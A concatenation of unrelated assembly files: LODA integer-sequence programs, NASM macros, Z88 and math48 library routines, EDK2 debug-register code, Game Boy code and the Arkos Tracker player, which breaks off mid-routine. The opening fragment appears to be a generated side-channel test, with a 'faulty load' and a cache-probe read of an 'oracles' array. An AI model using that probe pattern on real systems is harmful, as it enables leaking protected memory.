vmovaps (%rsi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r13
lea oracles, %rbx
and $0xff, %r13
shlq $12, %r13
mov (%rbx,%r13,1), %r13
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}
{'48': 12227, '00': 9602}
48 48 00 48 00 00 48 48 00 48 00 00 48 48 00 00 00 48 48 48 00 48 48 00 00 48 00 48 48 00 00 00 48 48 00 48 48 48 48 00 48 00 48 00 48 00 00 48 48 00 00 00 00 00 48 48 48 00 48 48 48 48 48 48 00 48 00 48 48 00 00 48 00 48 48 00 48 48 48 48 48 00 48 00 00 48 48 48 00 00 48 48 00 00 48 48 00 00 48 00 00 00 00 00 00 00 00 48 48 00 48 48 48 00 48 00 00 48 00 00 00 48 48 00 48 48 48 48 00 48 48 00 00 48 00 48 48 48 48 00 48 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 00 48 48 00 48 00 48 48 00 00 48 00 48 48 00 48 48 48 48 48 48 00 48 48 48 48 00 48 00 48 00 48 48 48 48 00 00 48 00 00 48 00 48 48 48 48 00 48 48 00 48 48 00 48 00 48 00 00 48 48 48 48 00 48 00 48 48 00 00 00 00 48 48 00 48 00 48 00 00 48 00 48 00 48 00 00 48 48 48 48 48 48 48 48 00 48 00 00 00 48 00 48 48 00 48 00 00 48 48 48 00 48 48 48 00 48 48 48 48 00 48 00 48 48 48 48 48 00 00 48 00 00 00 00 48 48 00 00 48 00 48 00 48 00 00 48 48 48 48 00 48 00 48 48 00 00 48 48 48 00 48 48 00 48 48 48 48 00 48 48 48 48 48 00 48 48 00 48 48 00 00 48 00 48 48 00 48 00 48 48 00 48 48 48 48 00 00 48 48 00 00 00 00 48 00 00 48 00 00 48 48 00 48 48 00 48 48 48 00 00 48 48 00 48 48 48 00 48 00 00 48 00 48 00 00 00 00 48 00 00 48 48 48 48 48 00 48 00 00 48 48 48 00 00 00 00 00 00 48 48 48 00 48 48 00 00 00 00 48 00 00 00 00 00 48 48 00 00 48 00 00 00 00 48 48 00 48 48 48 48 48 00 00 00 00 48 00 48 48 48 48 48 00 00 00 48 00 48 48 00 48 48 48 48 00 48 00 48 00 00 48 00 48 48 48 00 48 48 48 00 48 48 48 00 48 48 00 00 48 00 48 48 48 00 00 00 48 48 00 00 48 00 00 48 48 00 48 48 00 48 48 48 00 48 00 48 00 00 00 48 00 48 48 00 00 48 00 00 48 48 48 00 48 00 48 00 48 48 48 48 00 48 48 00 00 00 48 00 00 48 48 48 48 00 00 48 48 48 48 00 00 48 00 00 00 48 48 48 48 00 00 48 00 00 48 00 00 48 00 48 48 48 00 00 48 00 00 48 00 48 00 48 00 48 48 48 00 48 00 00 48 48 48 48 48 48 48 48 48 48 00 48 48 00 48 48 00 00 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 00 48 48 48 48 48 48 48 00 48 00 00 48 00 00 00 00 48 00 00 00 00 48 00 00 48 48 00 48 00 48 48 00 48 00 48 48 48 00 48 00 48 48 48 48 00 00 48 48 48 00 48 48 00 48 00 00 00 48 48 00 00 48 48 00 48 48 00 00 48 48 48 48 00 48 00 00 48 48 00 48 00 00 48 48 00 00 48 00 00 00 48 00 48 48 48 48 00 48 00 48 00 00 00 48 48 00 00 48 48 00 48 48 00 48 48 00 48 00 00 48 48 00 48 00 00 00 48 48 48 48 48 00 48 00 00 48 48 48 48 48 48 00 00 48 00 48 48 00 48 00 48 48 48 00 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 48 00 00 48 00 48 48 00 00 48 48 48 48 48 48 00 00 48 00 00 00 48 48 48 48 48 00 48 00 48 00 48 00 48 48 00 48 00 48 00 48 48 00 48 48 00 00 48 48 48 00 00 48 00 48 48 00 00 48 48 48 00 48 48 00 00 48 48 48 00 48 00 00 00 48 00 48 48 00 48 00 48 48 00 48 00 00 48 48 00 48 48 48 00 48 48 00 48 00 00 00 48 48 00 00 48 00 00 48 00 00 48 00 48 48 00 48 48 48 48 00 00 48 00 48 48 48 48 48 48 00 48 48 00 48 00 48 48 00 48 00 00 48 48 48 48 48 48 00 00 48 48 00 48 00 48 48 48 48 00 48 48 00 48 48 48 00 00 48 48 00 00 48 48 00 48 48 48 00 00 00 48
*/
|
; A006367: Number of binary vectors of length n+1 beginning with 0 and containing just 1 singleton.
; 1,0,2,2,5,8,15,26,46,80,139,240,413,708,1210,2062,3505,5944,10059,16990,28646,48220,81047,136032,228025,381768,638450,1066586,1780061,2968040,4944519,8230370,13689118,22751528,37786915,62716752,104028245,172447884,285703594,473081830,782943241,1295113240,2141302467,3538749862,5845632470,9652296628,15931423535,26285128896,43351455601,71472896400,117795567074,194075990450,319650299573,526312559048,866327869695,1425591708842,2345235869710,3857095149824,6341914881979,10424861465520,17132211643661,28148359839060,46237293508762,75933662103742,124675686394465,204662088036088,335895244750395,551167542644206,904230467572166,1483175900251660,2432351938036679,3988251298536480,6538272267034153,10716916056279768,17563249844484050,28778619912643082,47148385290176525,77231974747748264,126491845115902839,207140274486557810,339160059303345406,555244728113694680,908877121441716307,1487538577903878672,2434304761718738885,3983149130344229148,6516648745157723530,10660298519318319766,17436642761387165881,28517137421432975320,46633671820458753459,76250897020257830710,124664548256721298358,203795512471349945188,333120107338446773855,544455733614543065472,889776001368111716065,1453972009202523004704,2375688445205624820674,3881341163263006148450
mov $16,$0
mov $18,2
lpb $18
mov $0,$16
mov $14,0
sub $18,1
add $0,$18
sub $0,1
mov $13,$0
mov $15,$0
add $15,1
lpb $15
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $5,$0
mov $7,2
lpb $7
mov $0,$5
sub $7,1
add $0,$7
mov $2,$0
sub $2,1
mov $3,2
mov $17,0
lpb $0
sub $0,1
trn $2,$17
add $2,$0
mov $4,$17
add $17,$3
mov $3,$4
add $17,3
add $17,$2
lpe
mov $8,$7
lpb $8
mov $6,$17
sub $8,1
lpe
lpe
lpb $5
mov $5,0
sub $6,$17
lpe
mov $12,$11
mov $17,$6
lpb $12
mov $10,$17
sub $12,1
lpe
lpe
lpb $9
mov $9,0
sub $10,$17
lpe
mov $17,$10
div $17,5
add $14,$17
lpe
mov $17,$14
mov $19,$18
lpb $19
mov $1,$17
sub $19,1
lpe
lpe
lpb $16
sub $1,$17
mov $16,0
lpe
mov $0,$1
|
; Symbol mangling macros
; Copyright (c) 2001, David H. Hovemeyer <daveho@cs.umd.edu>
; $Revision: 1.1 $
; This file defines macros for dealing with externally-visible
; symbols that must be mangled for some object file formats.
; For example, PECOFF requires a leading underscore, while
; ELF does not.
; EXPORT defines a symbol as global
; IMPORT references a symbol defined in another module
; Thanks to Christopher Giese for providing the NASM macros
; (thus saving me hours of frustration).
%ifndef SYMBOL_ASM
%define SYMBOL_ASM
%ifdef NEED_UNDERSCORE
%macro EXPORT 1
[GLOBAL _%1]
%define %1 _%1
%endmacro
%macro IMPORT 1
[EXTERN _%1]
%define %1 _%1
%endmacro
%else
%macro EXPORT 1
[GLOBAL %1]
%endmacro
%macro IMPORT 1
[EXTERN %1]
%endmacro
%endif
%endif
|
; A054027: Numbers that do not divide their sum of divisors.
; 2,3,4,5,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74
mov $1,$0
mul $1,2
mov $2,$0
cmp $2,0
add $0,$2
lpb $1
add $0,1
div $1,7
lpe
add $0,1
|
; Z88 Small C+ Run time Library
; Moved functions over to proper libdefs
; To make startup code smaller and neater!
;
; 6/9/98 djm
PUBLIC l_ult
;
; DE < HL [unsigned]
; set carry if true
.l_ult
ld a,d
cp h
ret nz
ld a,e
cp l
ret
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteDr5.Asm
;
; Abstract:
;
; AsmWriteDr5 function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmWriteDr5 (
; IN UINTN Value
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmWriteDr5)
ASM_PFX(AsmWriteDr5):
mov eax, [esp + 4]
;
; DR5 is alias to DR7 only if DE (in CR4) is cleared. Otherwise, writing to
; this register will cause a #UD exception.
;
; MS assembler doesn't support this instruction since no one would use it
; under normal circustances. Here opcode is used.
;
DB 0xf, 0x23, 0xe8
ret
|
input_xy:
call playstop
ld a,(JOYP_CURRENT) ;Select ?
bit 2,a
ret nz
ld a,(HWOK_ADC) ;No controls if pots are OK
or a
ret nz
ld a,(JOYP_ACTIVE)
bit 4,a
jr z,+
ld a,(CUTOFFSET)
cp 96-1
jr z,+
inc a
ld (CUTOFFSET),a
+:
ld a,(JOYP_ACTIVE)
bit 5,a
jr z,+
ld a,(CUTOFFSET)
or a
jr z,+
dec a
ld (CUTOFFSET),a
+:
ld a,(JOYP_ACTIVE)
bit 6,a
jr z,+
ld a,(RESON)
cp 16-1
jr z,+
inc a
ld (RESON),a
+:
ld a,(JOYP_ACTIVE)
bit 7,a
jr z,+
ld a,(RESON)
or a
jr z,+
dec a
ld (RESON),a
+:
ret
|
; A152674: Number of divisors of the numbers that are not squares.
; 2,2,2,4,2,4,4,2,6,2,4,4,2,6,2,6,4,4,2,8,4,4,6,2,8,2,6,4,4,4,2,4,4,8,2,8,2,6,6,4,2,10,6,4,6,2,8,4,8,4,4,2,12,2,4,6,4,8,2,6,4,8,2,12,2,4,6,6,4,8,2,10,4,2,12,4,4,4,8,2,12,4,6,4,4,4,12,2,6,6,2,8,2,8
cal $0,282532 ; Position where the discrete difference of the Poissonian probability distribution function with mean n takes its lowest value. In case of a tie, pick the smallest value.
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
mov $1,$0
sub $1,1
div $1,2
mul $1,2
add $1,2
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC mm48__comser
EXTERN mm48_equal, mm48_fpmul, mm48__calcs
mm48__comser:
; enter : a = loop count
; AC' = X
;
; exit : AC' = result
; AC = X
;
; uses : af, bc, de, hl, af', bc', de', hl'
;COMSER udregner en potensraekke af formen:
;T=X*((((X^2+K1)*X^2+K2)....)*X^2+Kn)/Kn,
;hvor X er i AC, n er i A, og adressen paa
;konstanterne (minus 6) i IX.
exx
push bc ;save X
push de
push hl
push af ;save loop count
call mm48_equal
call mm48_fpmul
pop af ;restore loop count
; AC = X
; AC'= X*X
call mm48__calcs ;AC'= result
pop hl
pop de
pop bc ;AC = X
jp mm48_fpmul
|
search::
call loadTextAsset
; Change SSID
ld hl, searchText
call displayText
xor a
call typeText
; Prepare the command
ld hl, myCmdBuffer
ld a, SERVER_REQU
ld [hli], a
push hl
ld hl, typedTextBuffer
call getStrLen
pop hl
inc a
ld [hli], a
xor a
ld [hli], a
ld a, 2
ld [hli], a
ld bc, $100
ld d, h
ld e, l
ld hl, typedTextBuffer
call copyStr
xor a
ld [cartIntTrigger], a
call waitVBLANK
reset lcdCtrl
xor a
ld de, VRAMBgStart
ld bc, $300
call fillMemory
call loadTiles
reg lcdCtrl, LCD_BASE_CONTROL_BYTE
jp map |
SECTION code_fp_math48
PUBLIC _llrint
EXTERN cm48_sdcciy_llrint
defc _llrint = cm48_sdcciy_llrint
|
; A269913: First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 3", based on the 5-celled von Neumann neighborhood.
; 4,-4,44,-44,116,-116,220,-220,356,-356,524,-524,724,-724,956,-956,1220,-1220,1516,-1516,1844,-1844,2204,-2204,2596,-2596,3020,-3020,3476,-3476,3964,-3964,4484,-4484,5036,-5036,5620,-5620,6236,-6236,6884,-6884,7564,-7564,8276,-8276,9020,-9020,9796,-9796,10604,-10604,11444,-11444,12316,-12316,13220,-13220,14156,-14156,15124,-15124,16124,-16124,17156,-17156,18220,-18220,19316,-19316,20444,-20444,21604,-21604,22796,-22796,24020,-24020,25276,-25276,26564,-26564,27884,-27884,29236,-29236,30620,-30620
mov $1,$0
add $1,1
mov $2,-2
bin $2,$1
mul $0,$2
sub $1,$0
mov $0,$1
mul $0,4
|
SaffronPokecenterObject:
db $0 ; border block
db $2 ; warps
db $7, $3, $6, $ff
db $7, $4, $6, $ff
db $0 ; signs
db $4 ; objects
object SPRITE_NURSE, $3, $1, STAY, DOWN, $1 ; person
object SPRITE_FOULARD_WOMAN, $5, $5, STAY, NONE, $2 ; person
object SPRITE_GENTLEMAN, $8, $3, STAY, DOWN, $3 ; person
object SPRITE_NURSE, $b, $2, STAY, DOWN, $4 ; person
; warp-to
EVENT_DISP SAFFRON_POKECENTER_WIDTH, $7, $3
EVENT_DISP SAFFRON_POKECENTER_WIDTH, $7, $4
|
;
; Grundy Newbrain Specific libraries
;
; Stefano Bodrato - 19/05/2007
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
; closes a stream
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
; void nb_close( int stream );
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
;
; $Id: nb_close.asm,v 1.1 2007/06/03 15:13:06 stefano Exp $
;
XLIB nb_close
LIB ZCALL
.nb_close
; __FASTCALL__ mode, stream number is stored in HL
ld e,l
call ZCALL
defb $34 ; ZCLOSE
ret
|
OPTIM_SIKO EQU 1
list
;*** Start of Arkos Tracker Player
nolist
;org #1000
; Arkos Tracker Player V1.01 - CPC & MSX version.
; 21/09/09
; Code By Targhan/Arkos.
; PSG registers sendings based on Madram/Overlander's optimisation trick.
; Restoring interruption status snippet by Grim/Arkos.
; V1.01 additions
; ---------------
; - Small (but not useless !) optimisations by Grim/Arkos at the PLY_Track1_WaitCounter / PLY_Track2_WaitCounter / PLY_Track3_WaitCounter labels.
; - Optimisation of the R13 management by Grim/Arkos.
; This player can adapt to the following machines =
; Amstrad CPC and MSX.
; Output codes are specific, as well as the frequency tables.
; This player modifies all these registers = HL, DE, BC, AF, HL', DE', BC', AF', IX, IY.
; The Stack is used in conventionnal manners (Call, Ret, Push, Pop) so integration with any of your code should be seamless.
; The player does NOT modifies the Interruption state, unless you use the PLY_SystemFriendly flag, which will cut the
; interruptions at the beginning, and will restore them ONLY IF NEEDED.
; Basically, there are three kind of players.
; ASM
; ---
; Used in your Asm productions. You call the Player by yourself, you don't care if all the registers are modified.
; Set PLY_SystemFriendly and PLY_UseFirmwareInterruptions to 0.
; In Assembler =
; ld de,MusicAddress
; call Player / PLY_Init to initialise the player with your song.
; then
; call Player + 3 / PLY_Play whenever you want to play/continue the song.
; call Player + 6 / PLY_Stop to stop the song.
; BASIC
; -----
; Used in Basic (on CPC), or under the helm of any OS. Interruptions will be cut by the player, but restored ONLY IF NECESSARY.
; Also, some registers are saved (AF', BC', IX and IY), as they are used by the CPC Firmware.
; If you need to add/remove more registers, take care to do it at PLY_Play, but also at PLY_Stop.
; Registers are restored at PLY_PSGREG13_RecoverSystemRegisters.
; Set PLY_SystemFriendly to 1 and PLY_UseFirmwareInterruptions to 0.
; The Calls in Assembler are the same as above.
; In Basic =
; call Player, MusicAddress to initialise the player with your song.
; then
; call Player + 3 whenever you want to play/continue the song.
; call Player + 6 to stop the song.
; INTERRUPTIONS
; -------------
; CPC Only ! Uses the Firmware Interruptions to put the Player on interruption. Very useful in Basic.
; Set PLY_SystemFriendly and PLY_UseFirmwareInterruptions to 1.
; In Assembler =
; ld de,MusicAddress
; call Player / PLY_InterruptionOn to play the song from start.
; call Player + 3 / PLY_InterruptionOff to stop the song.
; call Player + 6 / PLY_InterruptionContinue to continue the song once it's been stopped.
; In Basic=
; call Player, MusicAddress to play the song from start.
; call Player + 3 to stop the song.
; call Player + 6 to continue the song once it's been stopped.
; FADES IN/OUT
; ------------
; The player allows the volume to be modified. It provides the interface, but you'll have to set the volume by yourself.
; Set PLY_UseFades to 1.
; In Assembler =
; ld e,Volume (0=full volume, 16 or more=no volume)
; call PLY_SetFadeValue
; In Basic =
; call Player + 9 (or + 18, see just below), Volume (0=full volume, 16 or more=no volume)
; WARNING ! You must call Player + 18 if PLY_UseBasicSoundEffectInterface is set to 1.
; SOUND EFFECTS
; -------------
; The player manages Sound Effects. They must be defined in another song, generated as a "SFX Music" in the Arkos Tracker.
; Set the PLY_UseSoundEffects to 1. If you want to use sound effects in Basic, set PLY_UseBasicSoundEffectInterface to 1.
; In Assembler =
; ld de,SFXMusicAddress
; call PLY_SFX_Init to initialise the SFX Song.
; Then initialise and play the "music" song normally.
; To play a sound effect =
; A = No Channel (0,1,2)
; L = SFX Number (>0)
; H = Volume (0...F)
; E = Note (0...143)
; D = Speed (0 = As original, 1...255 = new Speed (1 is the fastest))
; BC = Inverted Pitch (-#FFFF -> FFFF). 0 is no pitch. The higher the pitch, the lower the sound.
; call PLY_SFX_Play
; To stop a sound effect =
; ld e,No Channel (0,1,2)
; call PLY_SFX_Stop
; To stop the sound effects on all the channels =
; call PLY_SFX_StopAll
; In Basic =
; call Player + 9, SFXMusicAddress to initialise the SFX Song.
; To play a sound effect =
; call Player + 12, No Channel, SFX Number, Volume, Note, Speed, Inverted Pitch. No parameter should be ommited !
; To stop a sound effect =
; call Player + 15, No Channel (0,1,2)
; For more information, check the manual.
; Any question, complaint, a need to reward ? Write to contact@julien-nevo.com
PLY_UseCPCMachine equ 1 ;Indicates what frequency table and output code to use. 1 to use it.
PLY_UseMSXMachine equ 0
PLY_UseSoundEffects equ 0 ;Set to 1 if you want to use Sound Effects in your player. Both CPU and memory consuming.
PLY_UseFades equ 0 ;Set to 1 to allow fades in/out. A little CPU and memory consuming.
;PLY_SetFadeValue becomes available.
PLY_SystemFriendly equ 0 ;Set to 1 if you want to save the Registers used by AMSDOS (AF', BC', IX, IY)
;(which allows you to call this player in BASIC)
;As this option is system-friendly, it cuts the interruption, and restore them ONLY IF NECESSARY.
PLY_UseFirmwareInterruptions equ 0 ;Set to 1 to use a Player under interruption. Only works on CPC, as it uses the CPC Firmware.
;WARNING, PLY_SystemFriendly must be set to 1 if you use the Player under interruption !
;SECOND WARNING, make sure the player is above #3fff, else it won't be played (system limitation).
PLY_UseBasicSoundEffectInterface equ 0 ;Set to 1 if you want a little interface to be added if you are a BASIC programmer who wants
;to use sound effects. Of course, you must also set PLY_UseSoundEffects to 1.
PLY_RetrigValue equ #fe ;Value used to trigger the Retrig of Register 13. #FE corresponds to CP xx. Do not change it !
Player
if PLY_UseFirmwareInterruptions
;******* Interruption Player ********
;You can remove these JPs if using the sub-routines directly.
jp PLY_InterruptionOn ;Call Player = Start Music.
jp PLY_InterruptionOff ;Call Player + 3 = Stop Music.
jp PLY_InterruptionContinue ;Call Player + 6 = Continue (after stopping).
if PLY_UseBasicSoundEffectInterface
jp PLY_SFX_Init ;Call Player + 9 to initialise the sound effect music.
jp PLY_BasicSoundEffectInterface_PlaySound ;Call Player + 12 to add sound effect in BASIC.
jp PLY_SFX_Stop ;Call Player + 15 to stop a sound effect.
endif
if PLY_UseFades
jp PLY_SetFadeValue ;Call Player + 9 or + 18 to set Fades values.
endif
PLY_InterruptionOn call PLY_Init
ld hl,PLY_Interruption_Convert
PLY_ReplayFrequency ld de,0
ld a,d
ld (PLY_Interruption_Cpt + 1),a
add hl,de
ld a,(hl) ;Chope nbinter wait
ld (PLY_Interruption_Value + 1),a
PLY_InterruptionContinue
ld hl,PLY_Interruption_ControlBloc
ld bc,%10000001*256+0
ld de,PLY_Interruption_Play
jp #bce0
PLY_InterruptionOff ld hl,PLY_Interruption_ControlBloc
call #bce6
jp PLY_Stop
PLY_Interruption_ControlBloc defs 10,0 ;Buffer used by the OS.
;Code run by the OS on each interruption.
PLY_Interruption_Play di
PLY_Interruption_Cpt ld a,0 ;Run the player only if it has to, according to the music frequency.
PLY_Interruption_Value cp 5
jr z,PLY_Interruption_NoWait
inc a
ld (PLY_Interruption_Cpt + 1),a
ret
PLY_Interruption_NoWait xor a
ld (PLY_Interruption_Cpt + 1),a
jp PLY_Play
;Table to convert PLY_ReplayFrequency into a Frequency value for the AMSDOS.
PLY_Interruption_Convert defb 17, 11, 5, 2, 1, 0
else
;***** Normal Player *****
;To be called when you want.
;You can remove these following JPs if using the sub-routines directly.
jp PLY_Init ;Call Player = Initialise song (DE = Song address).
jp PLY_Play ;Call Player + 3 = Play song.
jp PLY_Stop ;Call Player + 6 = Stop song.
endif
if PLY_UseBasicSoundEffectInterface
jp PLY_SFX_Init ;Call Player + 9 to initialise the sound effect music.
jp PLY_BasicSoundEffectInterface_PlaySound ;Call Player + 12 to add sound effect in BASIC.
jp PLY_SFX_Stop ;Call Player + 15 to stop a sound effect.
endif
if PLY_UseFades
jp PLY_SetFadeValue ;Call Player + 9 or + 18 to set Fades values.
endif
PLY_Digidrum db 0 ;Read here to know if a Digidrum has been played (0=no).
PLY_Play
if PLY_SystemFriendly
call PLY_DisableInterruptions
ex af,af'
exx
push af
push bc
push ix
push iy
endif
xor a
ld (PLY_Digidrum),a ;Reset the Digidrum flag.
;Manage Speed. If Speed counter is over, we have to read the Pattern further.
PLY_SpeedCpt ld a,1
dec a
jp nz,PLY_SpeedEnd
;Moving forward in the Pattern. Test if it is not over.
PLY_HeightCpt ld a,1
dec a
jr nz,PLY_HeightEnd
;Pattern Over. We have to read the Linker.
;Get the Transpositions, if they have changed, or detect the Song Ending !
PLY_Linker_PT ld hl,0
ld a,(hl)
inc hl
rra
jr nc,PLY_SongNotOver
;Song over ! We read the address of the Loop point.
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
ld a,(hl) ;We know the Song won't restart now, so we can skip the first bit.
inc hl
rra
PLY_SongNotOver
rra
jr nc,PLY_NoNewTransposition1
ld de,PLY_Transposition1 + 1
ldi
PLY_NoNewTransposition1
rra
jr nc,PLY_NoNewTransposition2
ld de,PLY_Transposition2 + 1
ldi
PLY_NoNewTransposition2
rra
jr nc,PLY_NoNewTransposition3
ld de,PLY_Transposition3 + 1
ldi
PLY_NoNewTransposition3
;Get the Tracks addresses.
ld de,PLY_Track1_PT + 1
ldi
ldi
ld de,PLY_Track2_PT + 1
ldi
ldi
ld de,PLY_Track3_PT + 1
ldi
ldi
;Get the Special Track address, if it has changed.
rra
jr nc,PLY_NoNewHeight
ld de,PLY_Height + 1
ldi
PLY_NoNewHeight
rra
jr nc,PLY_NoNewSpecialTrack
PLY_NewSpecialTrack
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld (PLY_SaveSpecialTrack + 1),de
PLY_NoNewSpecialTrack
ld (PLY_Linker_PT + 1),hl
PLY_SaveSpecialTrack ld hl,0
ld (PLY_SpecialTrack_PT + 1),hl
;Reset the SpecialTrack/Tracks line counter.
;We can't rely on the song data, because the Pattern Height is not related to the Tracks Height.
ld a,1
ld (PLY_SpecialTrack_WaitCounter + 1),a
ld (PLY_Track1_WaitCounter + 1),a
ld (PLY_Track2_WaitCounter + 1),a
ld (PLY_Track3_WaitCounter + 1),a
PLY_Height ld a,1
PLY_HeightEnd
ld (PLY_HeightCpt + 1),a
;Read the Special Track/Tracks.
;------------------------------
;Read the Special Track.
PLY_SpecialTrack_WaitCounter ld a,1
dec a
jr nz,PLY_SpecialTrack_Wait
PLY_SpecialTrack_PT ld hl,0
ld a,(hl)
inc hl
srl a ;Data (1) or Wait (0) ?
jr nc,PLY_SpecialTrack_NewWait ;If Wait, A contains the Wait value.
if OPTIM_SIKO==0
;Data. Effect Type ?
srl a ;Speed (0) or Digidrum (1) ?
;First, we don't test the Effect Type, but only the Escape Code (=0)
jr nz,PLY_SpecialTrack_NoEscapeCode
ld a,(hl)
inc hl
PLY_SpecialTrack_NoEscapeCode
;Now, we test the Effect type, since the Carry didn't change.
jr nc,PLY_SpecialTrack_Speed
ld (PLY_Digidrum),a
jr PLY_PT_SpecialTrack_EndData
endif
PLY_SpecialTrack_Speed
ld (PLY_Speed + 1),a
PLY_PT_SpecialTrack_EndData
ld a,1
PLY_SpecialTrack_NewWait
ld (PLY_SpecialTrack_PT + 1),hl
PLY_SpecialTrack_Wait
ld (PLY_SpecialTrack_WaitCounter + 1),a
;Read the Track 1.
;-----------------
;Store the parameters, because the player below is called every frame, but the Read Track isn't.
PLY_Track1_WaitCounter ld a,1
dec a
jr nz,PLY_Track1_NewInstrument_SetWait
PLY_Track1_PT ld hl,0
call PLY_ReadTrack
ld (PLY_Track1_PT + 1),hl
jr c,PLY_Track1_NewInstrument_SetWait
;No Wait command. Can be a Note and/or Effects.
ld a,d ;Make a copy of the flags+Volume in A, not to temper with the original.
rra ;Volume ? If bit 4 was 1, then volume exists on b3-b0
jr nc,PLY_Track1_SameVolume
and %1111
ld (PLY_Track1_Volume),a
PLY_Track1_SameVolume
rl d ;New Pitch ?
jr nc,PLY_Track1_NoNewPitch
ld (PLY_Track1_PitchAdd + 1),ix
PLY_Track1_NoNewPitch
rl d ;Note ? If no Note, we don't have to test if a new Instrument is here.
jr nc,PLY_Track1_NoNoteGiven
ld a,e
PLY_Transposition1 add a,0 ;Transpose Note according to the Transposition in the Linker.
ld (PLY_Track1_Note),a
ld hl,0 ;Reset the TrackPitch.
ld (PLY_Track1_Pitch + 1),hl
rl d ;New Instrument ?
jr c,PLY_Track1_NewInstrument
PLY_Track1_SavePTInstrument ld hl,0 ;Same Instrument. We recover its address to restart it.
ld a,(PLY_Track1_InstrumentSpeed + 1) ;Reset the Instrument Speed Counter. Never seemed useful...
ld (PLY_Track1_InstrumentSpeedCpt + 1),a
jr PLY_Track1_InstrumentResetPT
PLY_Track1_NewInstrument ;New Instrument. We have to get its new address, and Speed.
ld l,b ;H is already set to 0 before.
add hl,hl
PLY_Track1_InstrumentsTablePT ld bc,0
add hl,bc
ld a,(hl) ;Get Instrument address.
inc hl
ld h,(hl)
ld l,a
ld a,(hl) ;Get Instrument speed.
inc hl
ld (PLY_Track1_InstrumentSpeed + 1),a
ld (PLY_Track1_InstrumentSpeedCpt + 1),a
ld a,(hl)
or a ;Get IsRetrig?. Code it only if different to 0, else next Instruments are going to overwrite it.
jr z,$+5
ld (PLY_PSGReg13_Retrig + 1),a
inc hl
ld (PLY_Track1_SavePTInstrument + 1),hl ;When using the Instrument again, no need to give the Speed, it is skipped.
PLY_Track1_InstrumentResetPT
ld (PLY_Track1_Instrument + 1),hl
PLY_Track1_NoNoteGiven
ld a,1
PLY_Track1_NewInstrument_SetWait
ld (PLY_Track1_WaitCounter + 1),a
;Read the Track 2.
;-----------------
;Store the parameters, because the player below is called every frame, but the Read Track isn't.
PLY_Track2_WaitCounter ld a,1
dec a
jr nz,PLY_Track2_NewInstrument_SetWait
PLY_Track2_PT ld hl,0
call PLY_ReadTrack
ld (PLY_Track2_PT + 1),hl
jr c,PLY_Track2_NewInstrument_SetWait
;No Wait command. Can be a Note and/or Effects.
ld a,d ;Make a copy of the flags+Volume in A, not to temper with the original.
rra ;Volume ? If bit 4 was 1, then volume exists on b3-b0
jr nc,PLY_Track2_SameVolume
and %1111
ld (PLY_Track2_Volume),a
PLY_Track2_SameVolume
rl d ;New Pitch ?
jr nc,PLY_Track2_NoNewPitch
ld (PLY_Track2_PitchAdd + 1),ix
PLY_Track2_NoNewPitch
rl d ;Note ? If no Note, we don't have to test if a new Instrument is here.
jr nc,PLY_Track2_NoNoteGiven
ld a,e
PLY_Transposition2 add a,0 ;Transpose Note according to the Transposition in the Linker.
ld (PLY_Track2_Note),a
ld hl,0 ;Reset the TrackPitch.
ld (PLY_Track2_Pitch + 1),hl
rl d ;New Instrument ?
jr c,PLY_Track2_NewInstrument
PLY_Track2_SavePTInstrument ld hl,0 ;Same Instrument. We recover its address to restart it.
ld a,(PLY_Track2_InstrumentSpeed + 1) ;Reset the Instrument Speed Counter. Never seemed useful...
ld (PLY_Track2_InstrumentSpeedCpt + 1),a
jr PLY_Track2_InstrumentResetPT
PLY_Track2_NewInstrument ;New Instrument. We have to get its new address, and Speed.
ld l,b ;H is already set to 0 before.
add hl,hl
PLY_Track2_InstrumentsTablePT ld bc,0
add hl,bc
ld a,(hl) ;Get Instrument address.
inc hl
ld h,(hl)
ld l,a
ld a,(hl) ;Get Instrument speed.
inc hl
ld (PLY_Track2_InstrumentSpeed + 1),a
ld (PLY_Track2_InstrumentSpeedCpt + 1),a
ld a,(hl)
or a ;Get IsRetrig?. Code it only if different to 0, else next Instruments are going to overwrite it.
jr z,$+5
ld (PLY_PSGReg13_Retrig + 1),a
inc hl
